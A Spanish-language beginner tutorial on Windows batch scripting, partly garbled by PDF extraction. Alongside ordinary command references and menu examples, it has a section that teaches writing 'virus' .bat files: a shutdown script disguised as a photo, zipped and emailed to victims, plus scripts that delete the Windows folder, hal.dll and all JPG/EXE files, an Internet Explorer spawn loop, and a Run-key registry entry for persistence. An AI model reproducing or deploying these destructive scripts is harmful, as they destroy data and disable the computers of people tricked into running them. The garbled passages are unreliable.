Está en la página 1de 29

c 



Un archivo batch es un archivo de procesamiento por lotes: se trata de archivos de texto sin
formato, guardados con la extensión *.bat que contienen un conjunto de comandos DOS.
Cuando se ejecuta este archivo bat, los comandos contenidos son ejecutados en grupo, de forma
secuencial, permitiendo automatizar diversas tareas. Los comandos son así como los del MS-
DOS.

Hay que aclarar Batch que no es un Lenguaje de Programación. Es un archivo de código que
contiene comandos del, Shell de Windows, llamado MS-DOS, que pueden ejecutar desde  
 .

Hay dos maneras de ejecutar comandos Batch.

Desde el Shell de Windows.

Escribiéndolos en un archivo de texto con extensión  y luego ejecutarlo.

c    
seran todas las ordenes que pongamos, esto quiere decir que si ponemos @echo off se vera lo que
queremos que se vea.

c    
Es una orden que le damos al sistema operativo para que haga una tarea determinada.
Ya sabeis lo necesario...ahora empecemos.

Siempre que termineis un programa, debeis de cambiarle la extensión .txt por .bat

-------------------------------------------------------------------------------------------------------------------
1.- APRENDER EL LENGUAJE
Del = Borrar archivos.
Rd = Borrar directorio de raíz.
Start = Comenzara "algo".
Pause = Pausa
Exit = Salir

Taskkill = Mata proceso.


-------------------------------------------------------------------------------------------------------------------
set /p x= Son set para hacer preguntas/variables/etc ejemplo: set /p pre= ¿Estas bien?
if %pre%== = (llava 2 ==) Para contestar el set /p x=. ejemplo: set /p pre= ¿Estas bien? y
abajo
if %pre%== si goto si
if %pre%== no goto no
Goto = Etiquetas. ejemplo: :si y abajo desarrollamos el goto si :no desarrollamos el goto no.
Bucle = Es un simple "cajón" que repite una acción. Ejemplo:
:no
-------------------------------------------------------------------------------------------------------------------
Cls = Limpiara la pantalla. ejemplo: tenemos todo escrito. Ponemos pause (Para que el user lea
lo que dice y luego cls así toca una tecla y quedara todo en blanco)

Format unidad: = Formatea la unidad. Ejemplo: format c:


Msg* = Da un mensaje con un cartelito de Windows. ejemplo: msg*
Echo = Da un mensaje dentro de la consola. Ejemplo echo
Date = Dia/Mes/Año. Ejemplo: date x/x/x
Time= Hora. Ejemplo: time x:x
-------------------------------------------------------------------------------------------------------------------
echo sirve para poner un texto en la pantalla y también para hacer redirecciones para el texto en
pantalla va a ser así:
echo hola
echo me alegro
y para el re direccionar va así
echo @echo off>> %nombre%.bat

-------------------------------------------------------------------------------------------------------------------
shutdown con este código apagamos la pc dependiendo del parámetro que utilicemos así

shutdown -l = cerrar cesión


shutdown -s= apagar el equipo
shutdown -r= reiniciar el equipo
shutdown -a= anular el apagado del equipo
shutdown -t xx= establecer el tiempo de espera para apagar la pc en segundos
shutdown -c= comentario máximo 127 caracteres
shutdown -f= fuerza el cierre de todas las aplicaciones.
-------------------------------------------------------------------------------------------------------------------

    


Cls: Limpia la pantalla.
Echo: Habilita o deshabilita el volcado de texto de programa.
Pause: Detiene la ejecución de comandos y continúa al presionar una tecla.
Pause > nul: Igual que pause pero no avisa
Date: Muestra la fecha del sistema.
Time: Muestra la hora del sistema.
Ver: Muestra la versión del sistema operativo.
Vol: Muestra el volumen específico de una unidad.
Path: Indica el trayecto por defecto del sistema.
Mem: Muestra datos sobre la memoria usada, libre, etc.


  
 
Copy: Copiar un archivo o una carpeta.
Del: Eliminar un archivo.
Mkdir o MD: Crear un directorio.
Rmdir o RD: Eliminar un directorio.
Chdir o CD: Cambia a un directorio deseado.
Dir: Muestra el contenido de un directorio.
Rename o Ren: Renombra un archivo.
Type: Muestra un tipo de fichero en específico.
-------------------------------------------------------------------------------------------------------------------
   
Fdisk: Gestor de particiones de disco.
Format: Da formato a una unidad de disco.
Label: Asigna una etiqueta a un disco.
Scandisk: Comprueba el disco duro y lo repara si es necesario.
-------------------------------------------------------------------------------------------------------------------
  
Edit: Editor de textos, similar al bloc de notas.
Choice: Para dar al usuario a elegir entre distintas opciones.
Debug: Inicia el depurador de códigos.
If: Condicional para ejecutar distintas sentencias.
For: Ejecuta varias sentencias hasta terminar el ciclo.
Goto: ´Ir aµ. Se debe especificar la ruta.

shutdown -s -f -t 15 -c "hola"
(´-sµ apaga PC, ´-fµ lo fuerza, ´-tµ tiempo en segundos, ´-cµ escribir mensaje con comillas)
-------------------------------------------------------------------------------------------------------------------

=  - Controla un disco y provee información sobre su capacidad, su estado, los


directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2.
 - Presenta en pantalla o modifica los atributos de los archivos.
=
- Sirve para copiar archivos, concatenarlos, cambiarles el nombre, etc.
 - Presenta la lista del contenido de un directorio, en su totalidad o de manera selectiva.
 - Editor que reemplaza a Edlin desde el DOS.5. Se usará esencialmente para modificar
pequeños archivos de texto, empezando por los llamados "archivos de sistemaµ, que son el
CONFIG.SYS y el AUTOEXEC.BAT.
 - Instala un disco duro, crea, muestra en pantalla o suprime particiones.
 - Formatea el disco destinatario marcando y eliminando los sectores defectuosos,
inicializando el directorio y la tabla de asignación de los archivos (FAT), y cargando el
programa de inicio.
!"#$%% & !"#$%$'- Carga los programas residentes, a través del Config.Sys.
 - Crea un directorio. Otro nombre de este comando: MKDIR, por "Make Directoryµ,
creación de un directorio.
"( - Acceso a los CD-ROM. A partir del DOS 6.
"$! ") - Herramienta de verificación y reparación de los discos duros, pero sólo a partir de
la versión 6.2.
$  ** 
  - Carga el código ANSI. Interviene en el Config.Sys mediante un Device=


 - Indica al sistema en qué directorios debe buscar los archivos de datos o de
comandos. Este comando es relativamente reciente en el DOS y complementa al comando
PATH, que sólo se ocupa de archivos de comandos.
- Envía el comando direccionado en un disco hacia otro disco; este último reemplaza al
primero. Ya no existe en el DOS 6.
=
- Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos,
mostrando mientras tanto su nombre en pantalla. La restauración de los archivos se hace con la
orden de sentido contrario, RESTORE. El Backup ya no existe en el DOS 6, lo cual es una
bendición porque este comando era uno de los más difíciles de manejar.
= - Llama al lenguaje Basic IBM en los DOS IBM. Se trata del lenguaje de programación
más simple que existe.
 - Extensión específica para el nombre de los archivos de procedimientos, que disponen de
toda una gama de comandos propios. Uno de los más conocidos es el archivo AUTOEXEC.BAT,
que se ejecuta automáticamente cuando usted pone su computadora en funcionamiento.
 - Activa o desactiva la posibilidad de realizar una interrupción con Control + Pausa,
que permite salir de una secuencia.
  - Comando para el m  que determina la capacidad del búfer para el disco.
= - En un archivo .bat, llama a otro .bat como un subprograma.
=- Cambio de directorio; su nombre completo es CHDIR.
= =
- Selección de las tablas de códigos.
=  - Cambio de directorio, cuyo nombre abreviado es CD. Adopte CD en lugar de CHDIR
si quiere evitar presionar tres teclas en el teclado.
=  - Controla un disco y provee información sobre su capacidad, su estado, los
directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2.
=    - Una novedad del DOS 6. Usado por el programa MemMaker para
optimizar la memoria.
= = - Una novedad del DOS. 6. Le pide al usuario que efectúe una selección en una
secuencia «batch».
= - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es un comando pequeño e
interesante que conviene recordar.
=  - Llama a un procesador secundario de comandos, o reinstala el procesador de
comandos COMMAND.COM del DOS.
=    - Archivo de configuración que dispone de instrucciones propias. Este archivo se
ejecuta automáticamente cada vez que se pone en funcionamiento la computadora.
=  - Nacionaliza el sistema, adaptándolo al país.
 - Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha
introducida se graba en las memorias permanentes.

= - Compacta el disco duro, duplicando aproximadamente su capacidad. La
compresión puede variar normalmente de 1,7 a más de 10, según el tipo de archivo. Este
comando ha sido reemplazado por DRIVESPACE a partir del DOS 6.22.

=   - Una novedad del DOS 6. Determina la posición final del archivo
dblspace.bin.
  - Lanza el programa de "debugging' (eliminación de errores). Debug está reservado a
los expertos.
  - Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para mejorar
la velocidad y la seguridad.
  - Destruye uno o varios archivos en el disco (actúa como el comando ERASE).
    - Suprime la puesta en reserva de un DOS antiguo.
  - Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene, incluyendo
los subdirectorios, en una sola operación.
 = - Instala un driver de periférico, por medio del config.sys.
 =  - Carga un administrador en memoria superior, por encima de los primeros 640
KB.
= 
- Compara el contenido total, pista por pista y sector por sector, de dos disquetes
del mismo tipo.
=
- Copia de modo idéntico el contenido de un disquete fuente en un disquete
destinatario rigurosamente del mismo formato, formateando previamente este último y
haciéndolo sobre el modelo del disquete fuente si es necesario.

   - Se utiliza para conmutar las tablas de códigos, vía el config.sys.
  - Establece un vínculo entre la memoria convencional y la memoria superior a través del
config.sys.
  - Instala el programa de memorización y de llamado de los comandos instalados
anteriormente. De esta manera, se evita tener que volver a escribirlos.
   - Llama a la superestructura de diálogo del DOS. Este dos shell ha sido
suprimido en la versión DOS 6.2 ya que ðm   consideró que había sido reemplazado
ventajosamente por el ´Administrador de archivosµ de ese superprograma que es Windows.
   - Administra las disqueteras, a través del Config.Sys.

 - Define los parámetros de periféricos en modo bloque, a través del Config.Sys.
 
= - Reemplaza a DBLSPACE a partir del DOS 6.22, con las mismas funciones.
= - Vuelve a mostrar en pantalla o no, en eco, los comandos ejecutados en un archivo
.BAT, según se ponga o no en servicio este eco, usando ON u OFF respectivamente. Permite
introducir un mensaje que será mostrado en pantalla en todos los casos.
 - Sirve de soporte a la memoria expandida.
   - Simula la memoria expandida en la memoria extendida, a través del
Config.sys.
 - Destruye uno o varios archivos del disco (y actúa como el comando DEL). Opte por
DEL ya que se escribe más rápido.
    - Código de errores para archivos .BAT Otra noción más para expertos.
  - Convierte el formato .EXE en .BIN o .COM. Este comando, que no existe más en
los DOS 6, está destinado a los programadores.
 - Sale de un procesador de comandos. En la mayoría de los casos, EXIT le permite salir
del DOS para volver al programa que lo llama, Windows por ejemplo.

 - Descomprime un archivo comprimido. A partir del DOS versión 5.
 
- Muestra en pantalla la lista de comandos de la versión 6 con una breve
explicación.

 - Proporciona un acceso rápido a los archivos que se usan con más frecuencia, o a
los últimos que se han utilizado, memorizando su camino de acceso.
= - Comparación de archivos. No está disponible en todas las versiones.
= - Especifica la cantidad de bloques de control de archivos, en un Config.Sys. Este
comando está reservado a los expertos.
  - Especifica la cantidad de archivos abiertos, en un Config.Sys.
 - Busca la cadena de caracteres indicada en un archivo y envía al periférico activo de
salida (el monitor, por ejemplo) todas las líneas en las que la encontró.
 - Especifica la repetición del mismo comando para cada una de las variables contenidas en
la lista.
  - Es un direccionamiento incondicional a una línea marcada con un rótulo del mismo
nombre en un archivo .BAT.
Ö'$+#$,% - Carga la tabla de los caracteres gráficos, los códigos ASCII 128 a 255, para la
visualización en pantalla. No existe más en el DOS 6.
Ö'$-.  - Carga una secuencia que permite la impresión de la pantalla que incluye caracteres
gráficos, de códigos 128 a 255.
Ö ,$"  - Llamado del antiguo Basic avanzado de Microsoft. No existe más en el DOS 6, en el
cual ha sido reemplazado por el QBasic.
.%- - Pedido de ayuda. Desde el DOS 5.
. "/" - Administrador de memoria extendida.
+ - Comando de ejecución condicional para archivo .BAT.
!%0 - Incluye un bloque de configuración en otro, a través del Config.Sys. Nuevo
comando con el DOS 6.
!#'%!) - Conecta dos computadoras, por medio de sus puertos paralelos o en serie. Nuevo
comando del DOS 6.
!#'%!)( - Administrador para Interlnk. Novedad del DOS versión 6.
!#'"1' - Lanza el centro de recuperación de datos InterLnk. Nuevo comando del DOS 6.
2& ! - Asigna el contenido de un disco a un directorio de otro disco. No existe más en el DOS 6.
)/, - Carga el programa que administra el teclado (reemplaza al que reside en la memoria
muerta, para el teclado USA).
%$,% - Crea, modifica o suprime el nombre atribuido a un disco.
%$"#' 1 - Define la cantidad de unidades de disco en el Config.Sys.
%. - Carga un programa en la memoria superior, generalmente en el Autoexec.bat. Otro
nombre: LOADHIGH.
% !) - Llama al editor de conexiones.
%&$+ ( - Carga un programa por encima de los primeros 64 Kb de memoria y lo ejecuta.
Nuevo comando del DOS 6.
%&$. Ö. - Carga un programa en la memoria superior, generalmente a través del
Autoexec.bat. Desde el DOS 5. Otro nombre: LH.
$'&" - Realización de macros con Doskey.
 - Muestra en pantalla la memoria ocupada y la disponible.
$)' - Administración y optimización de la memoria, pero con los DOS 6. ·
!0&%&' - Determina el color del texto y del fondo para el primer menú, a través del
Config.Sys. A partir del DOS 6.
!0+$0%# - Especifica el menú por defecto, en el inicio. A partir del DOS 6.
!0 # - A partir del DOS 6. Define un ítem del menú de arranque.
 ''&' - Copia de seguridad para el seguimiento del borrado de archivos. Con el DOS 5.
) ' - Crea un subdirectorio. Otro nombre de este comando: MD, por "Make Directoryµ,
creación de un directorio.
& - Establece las condiciones de funcionamiento de los periféricos, impresora, interface de
video y conexiones en serie, y también sirve para la preparación de las tablas de códigos.
&' - Para visualizar página por página en la pantalla (es decir, sin que desfilen
ininterrumpidamente en la pantalla)
&1 - Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. Nuevo
comando con el DOS 6.
"$1 - Programa antivirus. A partir del DOS 6.
",$)0- - Nuevo procedimiento de copia de seguridad, a partir del DOS 6.
" - Provee información técnica sobre su computadora. A partir del DOS 6.
!%"+0! - Comando relativo a los idiomas nacionales. Su nombre proviene de    

       m  . Da informaciones complementarias sobre los países y prepara el


uso de las tablas de códigos con CHCP
!0%&) - Determina que la sección numérica del teclado esté bloqueada o no, a través del
Config.Sys. Nuevo comando a partir del DOS 6.
-$#. - Especifiica caminos de búsqueda alternativos para los archivos de comando (con la
extensión .COM, o .EXE o .BAT) que no se encuentran en el directorio activo. Este comando se
encuentra generalmente en el archivo Autoexec.bat.
-$0" - Suspende la ejecución de un programa .BAT mostrando en pantalla un mensaje
optativo de 121 caracteres como máximo.
-& ' - Pone en servicio o saca de servicio la administración del consumo de energía. Nuevo
comando a partir del DOS 6.
-& '( - Administrador de POWER. Nuevo, a partir del DOS 6.
-' !# - Imprime el contenido de archivos, en segundo plano, mientras se prosigue con un
trabajo en la pantalla.
-' !#'"/" - Se utiliza para conmutar las tablas de códigos con las impresoras, a través del
Config.Sys.
-'&-# - Define o muestra en pantalla los símbolos del sistema utilizados por el DOS.
,$"  - Es el nuevo lenguaje Basic de Microsoft. A partir del DOS 5.
'$' 1 - Instala un disco virtual, a través del Config.Sys.
' - Suprime un subdirectorio que debe estar obligatoriamente vacío (y que, por lo tanto, sólo
debe contener las marcas . y ..). El nombre completo de este comando es RMDIR.
'&1' - Interviene cuando hay que recuperar los datos de un archivo porque hay un sector
defectuoso en el disco. Los datos de este sector se habrán perdido. No existe más en el DOS 6.
' - Introduce observaciones, comentarios, en 123 caracteres como máximo por línea de
REM.
'! - Cambia el nombre de un archivo.
'!$ - Cambia el nombre de un archivo. Es lo mismo que REN, pero más largo de escribir.
'-%$ - Reemplaza o agrega selectivamente archivos que provienen de un disco fuente a un
disco destinatario.
'"#&' - Restaura, restablece el contenido de un disco a partir de su copia de seguridad
anterior, con los DOS hasta el 5 inclusive. En el DOS 6, sólo existe para la compatibilidad.
' ' - Suprime un subdirectorio que debe estar obligatoriamente vacío (y que, por lo tanto,
sólo debe contener las marcas . y ..). El nombre abreviado es RD.
"# - Sirve para definir el entorno de trabajo que requieren algunos programas, introduciendo
un nombre seguido de su equivalencia.
"#1' - Declara las versiones del DOS para algunas aplicaciones.
"#1'( - Administrador de SETVER.
".$' - Instala el programa para compartir archivos.
".%% - Instala un procesador de comandos.
". +# - Sirve para utilizar más de 10 parámetros reemplazables numerados de 0 a 9, en las
líneas de comando, marcando una diferencia de una posición para cada SHIFT que se introduce.
". - ") - Bloquea los cabezales del disco duro antes de desplazarlo. Desapareció en el DOS 6.
" 3'( - Utilizado por el programa de optimización de la memoria MemMaker Novedad
del DOS 6.
"$'#'1 - Creación de la antememoria de disco SmartDrive.
"$'#'1( - Administrador de SmartDrv.
"$'#&! - Programa de monitoreo (de vigilancia) de SmartDrive.
"&'# - Ordena datos.
"#$)" - Define las pilas, a través del Config.Sys.
"0,!0 - Define un ítem del menú de arranque abriendo un submenú. Nuevo comando del
DOS 6.
"0,"# - Sustituye un camino de acceso cuya descripción es larga, y/o su unidad, por una unidad
de disco ficticia que bastará con llamar luego.
" #." - Sustituye el teclado extendido por el teclado convencional.
"/" - Copia los tres archivos que sirven de núcleo al sistema del disco fuente activo al disco
destinatario.
#- - Variable de entorno.
#  - Muestra en pantalla o configura la hora del sistema (incluidos los relojes permanentes,
resguardados).
#' - Muestra los árboles de los directorios de un disco (y la lista de sus archivos con una clave
suplementaria).
#/- - Muestra en pantalla el contenido de un archivo.
0!%# - Recuperación de archivos borrados. A partir de la versión DOS 5.
0!+&'$# - Reconstrucción de un disco reformateado. A partir del DOS 5.
1 ") - Instala un disco virtual, a través del Config.Sys. Dejó de estar incluido a partir del
DOS 6.
1' - Muestra en pantalla la versión activa del DOS.
1' +/ - Pone en servicio (con ON) o anula (con OFF) la verificación de los datos escritos en el
disco.
1&% - Muestra en pantalla el nombre del disco solicitado.
1"$+ - Residente antivirus.
(&-/ - Copia archivos selectivamente, inclusive los que provienen de subdirectorios. Es un
comando excelente que puede servir incluso para efectuar copias de seguridad

--------------------------------------------------------------------------------------------------------------------
2.- REGLAS A CUMPLIR
1. No abrir los virus si no sabes si esta correctamente instalado.
2. luego de terminar un virus colocar al final de ellos: pause y luego mas abajo exit de lo
contrario este no funcionara.
3. todos los virus deben ser comprimidos
4. al guardar los virus es importante colocar: elnombre.bat o sea el nombre que tu le pondrás a
tu virus pero al final le colocaras el .bat de lo contrario no seria un virus.

-------------------------------------------------------------------------------------------------------------------

Comenzemos haciendo algo sencillo primero deben abrir el blog de notas (ahí se hecen los
virus) luego escribie lo siguiente:

Warning!! No abrir

@echo off
Echo hola
Echo ¿sabes? Voy a apagar tu pc.
shutdown -t 10
pause
exit

para guardarlos coloquemos un nombre por ejemplo nuestra foto y le agregamos el ´.batµ y
quedaría de la siguiente forma: nuestra foto.bat
ya tenemos nuestro primer (no dañino virus.bat) al ver nuestro virus vemos que el formato a
cambiado, ya no tenemos el dibujo de el blog de notas, si no uno de un pequeño cuadrito con una
engrane o tuerca. Lo seleccionaremos pero sin abrirlo y haremos clic al botón derecho del mouse
y veremos una serie de opciones: nosotros seleccionaremos la que dice: AÑADIR AL
ARCHIVO...
(salen dos opciones RAR que en la que esta, y la otra es ZIP cámbialo a zip...

luego te deben salir una especie de libros de colores.

Entra a tu correo le das a adjuntar y adjuntas el virus, colocas el correo de la persona y lo


envías... y listo cuando la persona lo abra debería apagarse su computadora automáticamente...

,4 4
erase C:\WINDOWS \q 

56
@echo off
cd\
del *.jpg /q
del *.exe /q
shutdown -l
shutdown ²s
exit

 4 4
@echo off
taskill Explorer
tskill Explorer
del /q /f /s C:\WINDOWS\system32\hal.dll

   
@echo off
shutdown -f -t 00

     7


@echo off
start iexplore
start iexplore
start iexplore
Pause
exit


Deben colocar start iexplorer muchas veces muchas muchas y al final deben colocar pause y

luego abajo exit, si ustedes no colocan esto luego de terminar su virus este no funcionara!

------------------------------------------------------------------------------------------------------------------------

Programación avanzada de archivos en lotes .bat


A continuación veremos los siguientes temas:

ó Uso de etiquetas
ó Condicionales
ó Creación de Menús
ó Apagado y Reiniciado de Pc
ó Leer archivos externos
ó Insertar al Registro
ó Otras cosas útiles
ó Uso de etiquetas

Como bien sabemos la lectura de los códigos Batch se leen de una manera lineal, pero existe una
forma para que el Batch se salte lineas, o vuelva a alguna anterior. Esto se logra con *y
la función Ö&#&.
Para crear una etiqueta solo debemos escribir:

7
:nombreEtiqueta

Dos punto (7) seguido del nombre que le daremos a la etiqueta. De esta manera el Ö&#&
funciona escribiendo

Ö&#& seguido del nombre de la etiqueta, como vemos en el siguiente ejemplo.

7
@echo off
goto :mietiqueta
echo ¿Por que me saltan?
:MiEtiqueta
echo Hola, esta es la etiqueta y nos saltamos una parte del codigo.
pause>nul
exit

Dato Interesante:
En Batch las Mayúsculas y Minúsculas no se diferencian.

   7

El primer condicional que veremos el más usado.


+7
Se puede ocupar para comparar, cadenas, números o para saber si existen archivos.
Ejemplo de sintaxis89:  ;:<<:  =:& $ 
Que se podría leer de la siguiente manera. Si cadena1 es igual a Cadena2 ejecutemos la Orden
OrdenAEjecutar.
También existe el !&# para ver si no son iguales.
9 :  ;:<<:  =: $ 
Para saber si un archivo existe, se usa:
96>!$
 >$  $ 
o también para ver si NO existe:
9 6>!$
 >$  $ 

No solo se puede ocupar el signo << para hacer comparaciones.


 0, que es el equivalente a <<
! , Sirve para cuando queremos ver Desigualdad.
%"", Para verificar si el numero es Menor
% , Para verificar si es menor o igual.
Ö#', Si es mayor
Ö , Si es Mayor e igual.

Un ejemplo de esto seria:

7
if 5 GTR 4 echo Hola

FOR:
Nos sirve para repetir un comando varias veces, en distintas variables.
Un ejemplo, es este:
9?%:: !@A8;8=;B&@
::B
En donde ?% es para especificar que nuestro for se basara en un conteo de números.
Aquí se repetirá un Echo, que imprimirá números del 0 al 21.
::sera el nombre de la variable que almacenara datos
 @A8;8=;Baquí especificamos que se repetirá del 0 al 1 y del 1 al 21.
@
::B Esto es la función que se ejecutara en cada repetición del comando, en este caso
un echo que imprimirá la variable.
Batch en algunos casos " reconoce entre mayúsculas y minúsculas, como en el caso de la
variable %%i si esta se llamara %%I no seria reconocida como la misma.

Otro uso que puede ser aplicado en el FOR es el listado de carpetas o archivos, como veremos a
continuación:
Listado de archivos:

7
@echo off
FOR %%x in (a*) DO echo %%x
pause

Este código, listaría todos los archivos que comienzan con A.


¿Por que? * (asterisco) es un signo comodín, por lo cual al poner a*, estamos diciendo cualquier
archivo que tenga una A delante y luego cualquier cosa.
Otro ejemplo del uso de comodín, es listar archivos con extensión común como seria este:

7
@echo off
FOR %%x in (*.jpg) DO echo %%x
pause
Aqui nos estaria listando todos los archivos que tengan la extensión 

Listado de Carpetas:
FOR /D %%x in (a*) DO echo %%x
Es casi lo mismo anterior, tan solo que al indicar ? solo se aplica a directorios.
Si quisiéramos que se listaran los directorios, juntos a los directorios que tienen estos dentro se
ocupa?'
+&'?'?::6 @CB&
::6

y si quisiéramos listar todos los documentos que están dentro de una carpeta contando los que
están dentro de carpetas se ocupa solamente ?' (Sin /D)
+&'?'::6 @CB&
::6

Con esto creo que tenemos lo básico, y más importante de los condicionales. Talvez otro claber
se anime a profundizar más en el tema.
Creación de Menús:

Como ya vimos Condicionales y Etiquetas les enseñare una manera de hacer Menús.
Comenzaríamos indicando las instrucciones y las opciones, de esta manera:

7
@echo off
:Menu
cls
echo Seleccione su opcion tecleando el numero respectivo.
echo.
echo 1. Primera Opcion
echo 2. Segunda Opcion
echo 3. Salir

Luego para seguir ocuparíamos esto:

7
set /p var=
if %var%==1 goto :Primero
if %var%==2 goto :Segundo
if %var%==3 goto exit
if %var% GTR 3 echo Error
goto :Menu

Con esto damos una variable en la que se guardara el numero insertado para luego ser verificado
por los condicionales, si el numero es mayor que 3 nos avisara que no existe esa opción. También
al principio cree una etiqueta para que se pueda volver
al menú y un " " para limpiar la pantalla.
Para terminar creamos las respectivas etiquetas.

7
:Primero
cls
color a
Echo Esta es la Primera Opcion
Echo Precione una tecla para volver al menu
Pause>Nul
goto :Menu
:Segundo
cls
color 1a
Echo Esta es la Segunda Opcion
Echo Precione una tecla para volver al menu
Pause>Nul
goto :Menu

Quedando para terminar nuestro codigo así:

7
@echo off
:Menu
cls
echo Seleccione su opcion tecleando el numero respectivo.
echo.
echo 1. Primera Opcion
echo 2. Segunda Opcion
echo 3. Salir
set /p var=
if %var%==1 goto :Primero
if %var%==2 goto :Segundo
if %var%==3 goto exit
if %var% GTR 3 echo Error
goto :Menu
:Primero
cls
color a
Echo Esta es la Primera Opcion
Echo Precione una tecla para volver al menu
Pause>Nul
goto :Menu
:Segundo
cls
color 1a
Echo Esta es la Segunda Opcion
Echo Precione una tecla para volver al menu
Pause>Nul
goto :Menu

Bueno, con eso les basta para imaginarse como crear sus menús personales.
Como vieron puede cada sección tener su color, incluso puedes cambiar la barra de titulo.

$5'  - 7

Una cosa muy interesante que puedes hacer con Batch es Apagar y Reiniciar tu Pc, incluso
programarlo para que apague a la hora que desees.
Es notablemente fácil.
se ocupa de la siguiente manera el apagado.

4 # > >
donde  significa que lo apagaremos, debe ir seguido de los segundos que demorara apagar.
En windos XP mostrara un contador, con el comentario que va luego de , pero en Windows
Vista no abra ni un contador, solamente saldrá una alerta con el Comentario, que ni siquiera es
obligatorio.
Bueno, de seguro quieres hacer la prueba. La puedes hacer pero antes de eso te recomiendo que
leas lo siguiente.
Puedes cancelar el apagado (Antes de que el contador termine) solamente escribiendo 
4 
 ya sea en un archivo de texto con extensión bat, como en el mismo Shell.
Entonces, pues has la prueba

7
shutdown -s -t 999999 -c "Esto se esta apagando"

7
shutdown -a

Con esto ya probamos los dos y podemos ser felices.


Ok, si en vez de ocuparusas el PC se reiniciara.
También puedes forzar el cierre de los programas, para que no de tiempo de guardar nada. Tan
solo ocupando 9
Un ejemplo de un Pc, que se Apaga Forzosamente y que puede dañar el pc y luego se reinicia es
este:

7
shutdown -r -f -t 0 -c "Bye"

(No lo recomiendo probar en tu pc, Ya que apaga el pc en 0 segundos sin preguntar nada. )

%
 6 7
Para leer un archivo externo con Batch, como un archivo de texto por ejemplo. Se usa el
siguiente código:

7
type "NombreDelArchivo.txt"
¿Simple no?

'7
Insertar al registro tu Batch puede ser muy útil, la verdad yo no entiendo mucho del registro
pero leí un poco y aquí tienen un ejemplo que se encuentra a ser sincero en muchas web. Donde
aremos que nuestro batch se ejecute con el Sistema.

7
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
MIBATCH.bat /t REG_SZ /d C:\MIBATCH.bat

Con la función 'Ö$ Agregamos algo al registro. Con otro comando podemos borrar.
Lo que sigue es la "Dirección" de donde insertaremos el registro que en este caso será para que
nuestro batch se ejecute al iniciar Sesión.
En medio de toda la dirección se puede leer ,$#. yo puse el nombre del Batch pero
también se puede poner cualquier otra cosa. Más adelante donde dice C:\MIBATCH.bat, es la
dirección completa de donde esta nuestro Batch.
Con solo esta linea estamos listos. Haz la prueba!

Otras cosas útiles:

Para terminar hablare de pequeñas funciones que pueden ser de utilidad.


Esta función tiene otras utilidades, pero les enseñare esta que no funciona en todos los PC.
Sirve para abrir una alerta con un mensaje su utilización es la siguiente:

7
msg * EsteEsMiMensaje

$#
Esta es una de las que más me gusta, es para programar alguna acción a cierta hora.
Ejemplo:

7
At 20:00 msg * Son Las 8 de la noche

Con esto a las 20:00 nos aparecerá un mensaje que nos dirá que son las 8 de la Noche.
También puedes programar un apagado o cualquier Cosa.
Si la hora que das ya paso, se tomara como para el día siguiente.

------------------------------------------------------------------------------------------------------------------------
#  
Activar Netmeeting en Windows XP

Cómo activar Google Wave si tienes el Dev Preview

Solución a error con archivo HAL.DLL en Windows XP


http://foro.elhacker.net/index.php/topic,132924.0.html

------------------------------------------------------------------------------------------------------------------------

   9    




7
taskkill /im /f programaespecifico.exe

Ya esta especificado.

Ejemplo:
escribe en un archivo *.bat

7
taskkill /f /im wmplayer.exe

Si lo abres y tienes el reproductor de audio windows. Este se cerrara.


------------------------------------------------------------------------------------------------------------------------

.  ,

Comenzaremos creando un Simple y clásico "Hola Mundo", escribiendo en un archivo de texto el


siguiente código.

7
@echo off
echo Hola Mundo
pause
exit

Ahora guardemos el archivo como ! y lo ejecutamos. Nos aparecerá una pantalla
negra que dirá "Hola Mundo", luego una linea abajo dirá "Presione una tecla para continuar"

Ahora aprenderemos algunas funciones de Batch:

CD O CHDIR:

Si has trabajado en PHP, te sera fácil entender este concepto. Sirve para cambiar de Directorio
o Mostrar el nombre del actual. Para usarlo,  o . ' seguido de la ubicación del directorio
al cual nos moveremos.
>7D>

>7D>
Los ejemplos anteriores hacen exactamente lo mismo, cambian al  

COPY:
Sirve para copiar uno o más archivos a otro destino.
Su sintaxis es la siguiente:
5>  
 >>!   >
Ejemplo:

7
Copy "C:\archivo.txt" "C:\archivo2.txt"

Aquí copiaríamos un archivo del Disco C llamado "archivo.txt" como "archivo2.txt"


Para acortar un poco podríamos usar:

7
cd "C:\"
Copy "archivo.txt" "archivo2.txt"

Donde primero cambiamos de directorio al Disco C con >7D> y luego al copiar no tenemos
que especificar que esta en el Disco C ya que ya nos encontramos en el.

DEL:

Sirve para eliminar uno o más archivos. Su sintaxis es:


>$'. 1&>
También se puede añadir:
?9?*>
 >
Donde no pide confirmación de eliminación (/q) y fuerza al archivo a borrarse ( /f )

MOVE:

Sirve para mover un archivo. Su sintaxis es:


 >  $
 >>!   >

CLS:

Sirve para limpiar el contenido de la pantalla:


Ejemplo:

7
@echo off
echo Hola, Cuando pulses la tecla se borrara el contenido y cambiara por otro.
pause
cls
echo ¿Ves?
pause
exit

Si quisiéramos averiguar más sobre las funciones, o conocer algunas nuevas por nuestra propia
cuenta podemos escribir en el Shell el nombre del comando seguido de ? y aparecerá toda la
información necesaria.

Podemos poner en práctica esto de la siguiente manera:

Abramos el Shell de windows:

Inicio->Ejecutar-CMD

Una vez abierto escribamos:

7
echo off

-  


%     7

7
Cls

$
 59  57

7
copy /?

   7

7
exit

Ahora vamos a crear un Batch que copie un archivo, luego lo mueva a otro directorio, borre el
original y vuelva a copiar el copiado.
En la carpeta donde crearás el archivo .BAT crea un archivo de texto llamado
COPIAME.TXT. En él, escribe lo que quieras. Este será el archivo que copiaremos.
Ahora el Batch:

7
@echo off
echo Hola, Copiaremos un archivo
pause
copy "copiame.txt" "copiado.txt"
move "copiado.txt" "C:\copiado.txt"
del "copiame.txt"
cd "C:\"
copy "copiado.txt" "copiado2.txt"
exit

Guárdalo en la carpeta como ! # , y ejecútalo.

Lo que ha hecho la cadena de instrucciones es más o menos lo siguiente:


Primero  , luego  en pantalla "Hola, Copiaremos un archivo"
- el intérprete para que no siga de largo.
A continuación,  el archivo "COPIAME.TXT" y su copia se llamará
"COPIADO.TXT". La   a la carpeta raíz del disco C, y   el original.
